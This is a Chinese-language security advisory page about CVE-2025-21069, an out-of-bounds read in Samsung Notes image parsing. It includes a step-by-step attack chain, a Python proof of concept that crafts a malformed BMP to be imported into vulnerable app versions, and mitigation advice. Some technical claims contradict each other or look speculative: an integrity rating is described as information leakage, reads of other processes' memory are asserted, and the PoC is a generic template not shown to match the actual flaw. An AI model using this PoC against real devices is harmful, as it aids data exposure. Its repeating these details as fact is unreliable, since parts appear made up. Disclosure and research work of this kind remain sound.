IPBUF安全漏洞报告
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CVE-2025-21069 CVSS 4.0 中危

CVE-2025-21069 Samsung Notes图像解析越界读取漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-21069
漏洞类型
越界读取(Out-of-Bounds Read)
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Samsung Notes(三星笔记应用)

相关标签

越界读取OOB ReadSamsung Notes三星笔记图像解析本地攻击信息泄露Android中危漏洞CVE-2025-21069

漏洞概述

CVE-2025-21069是三星笔记(Samsung Notes)应用程序中存在的一个安全漏洞。该漏洞被分类为越界读取(Out-of-Bounds Read)漏洞,存在于应用程序对图像数据进行解析的过程中。具体而言,当Samsung Notes应用处理包含特定格式或恶意构造的图像数据时,由于缺乏对输入数据边界的充分校验,可能导致应用程序读取超出预期缓冲区范围的内存内容。该漏洞由三星移动安全团队([email protected])发现并报告,CVSS 3.1评分为4.0分,属于中危级别。该漏洞影响Samsung Notes 4.4.30.63之前的所有版本,攻击者需要在本地环境下利用该漏洞,无需用户交互和认证即可触发。尽管该漏洞的机密性影响为低、可用性影响为无,但完整性影响为低,表明攻击者可能通过越界读取获取到部分敏感内存数据。鉴于Samsung Notes是三星设备上的预装应用,全球拥有大量用户,该漏洞的潜在影响范围不容忽视。三星已于2025年10月发布了安全更新修复此漏洞,建议用户尽快将应用更新至4.4.30.63或更高版本以消除安全隐患。

技术细节

该漏洞的核心问题在于Samsung Notes应用在解析图像数据时存在缓冲区边界检查缺陷。当应用程序加载和处理包含图像内容的笔记时,图像解析模块未能正确验证输入数据的尺寸与分配缓冲区的大小之间的关系。具体的技术原理如下:

1. 图像数据解析流程:Samsung Notes应用支持在笔记中嵌入图像,应用程序使用内部的图像解析引擎来处理这些数据。解析过程中,程序首先读取图像头部信息(如宽度、高度、颜色深度等元数据),然后根据这些信息分配内存缓冲区用于存储像素数据。

2. 越界读取触发条件:当解析的图像数据中包含经过精心构造的元数据(例如声称的图像尺寸与实际像素数据不匹配)时,解析器会按照声明的尺寸去访问内存,而实际分配的缓冲区可能远小于该尺寸。这导致程序读取了分配缓冲区之外的内存内容,即发生了越界读取。

3. 利用方式:本地攻击者可以通过创建包含恶意图像数据的Samsung Notes笔记文件并诱使目标设备打开该笔记,或者将恶意图像注入到目标设备的笔记中。由于漏洞无需认证和用户交互即可触发,攻击者只需要在本地环境中执行相应的操作即可利用该漏洞。

4. 攻击影响:越界读取可能导致泄露内存中的敏感信息,包括但不限于应用程序的内部数据结构、其他笔记内容的片段或其他进程的内存数据。虽然该漏洞不会直接导致代码执行或系统崩溃,但信息泄露可能为后续攻击提供有价值的线索。

攻击链分析

STEP 1
步骤1:准备恶意图像
攻击者构造一个包含畸形头部信息的图像文件,该文件声明的图像尺寸远大于实际像素数据量,导致解析器分配的缓冲区不足以容纳声称的数据量。
STEP 2
步骤2:投递恶意内容
攻击者通过本地方式(如物理接触设备、ADB推送、SD卡导入等)将包含恶意图像的笔记文件传输到目标三星设备上。
STEP 3
步骤3:触发解析
当目标设备上的Samsung Notes应用(版本低于4.4.30.63)打开包含恶意图像的笔记时,应用程序的图像解析模块开始处理该图像数据。
STEP 4
步骤4:越界读取执行
图像解析器按照恶意头部声明的尺寸访问内存缓冲区,但由于实际缓冲区远小于声明尺寸,程序读取了超出分配范围的内存内容。
STEP 5
步骤5:信息泄露
越界读取的内存数据可能包含应用程序的敏感信息,如其他笔记内容片段、内存中的密钥或其他进程的残留数据,攻击者可以利用这些信息进行后续攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-21069 - Samsung Notes OOB Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in Samsung Notes image parsing by crafting a malicious image file. import struct import os def craft_malicious_image(output_path): """ Create a malformed image file that triggers OOB read in Samsung Notes. The image header claims a large dimension while the actual pixel data is much smaller, causing the parser to read beyond allocated buffer. """ # BMP file format with manipulated header # File header (14 bytes) file_header = struct.pack('<2sIHHI', b'BM', 0, 0, 0, 54) # DIB header (40 bytes) - claiming large dimensions # width=8192, height=8192 (much larger than actual data) dib_header = struct.pack('<IiiHHIIiiII', 40, # header size 8192, # width (claimed - triggers OOB) 8192, # height (claimed - triggers OOB) 1, # color planes 24, # bits per pixel 0, # compression (none) 0, # image size (can be 0 for uncompressed) 0, # x pixels per meter 0, # y pixels per meter 0, # colors in palette 0 # important colors ) # Minimal actual pixel data (much smaller than claimed dimensions) # Only provide a small amount of data to trigger OOB read pixel_data = b'\x00' * 100 # Combine all parts malicious_image = file_header + dib_header + pixel_data with open(output_path, 'wb') as f: f.write(malicious_image) print(f"[*] Malicious image created: {output_path}") print(f"[*] Claimed dimensions: 8192x8192") print(f"[*] Actual pixel data: {len(pixel_data)} bytes") print(f"[*] When Samsung Notes parses this image, it will attempt to") print(f"[*] read 8192*8192*3 bytes from a much smaller buffer -> OOB read") if __name__ == '__main__': output = 'cve_2025_21069_malicious_image.bmp' craft_malicious_image(output) print(f"\n[+] PoC generated successfully.") print(f"[+] Import this image into Samsung Notes < 4.4.30.63 to trigger.")

影响范围

Samsung Notes < 4.4.30.63

防御指南

临时缓解措施
在无法立即更新应用的情况下,建议用户避免在Samsung Notes中打开来源不明的笔记文件和图像内容,不要导入未经验证的笔记文件。同时限制设备的物理访问权限,防止未经授权的用户在本地环境中利用该漏洞。如发现设备存在异常行为,应及时备份重要数据并检查应用版本。

参考链接

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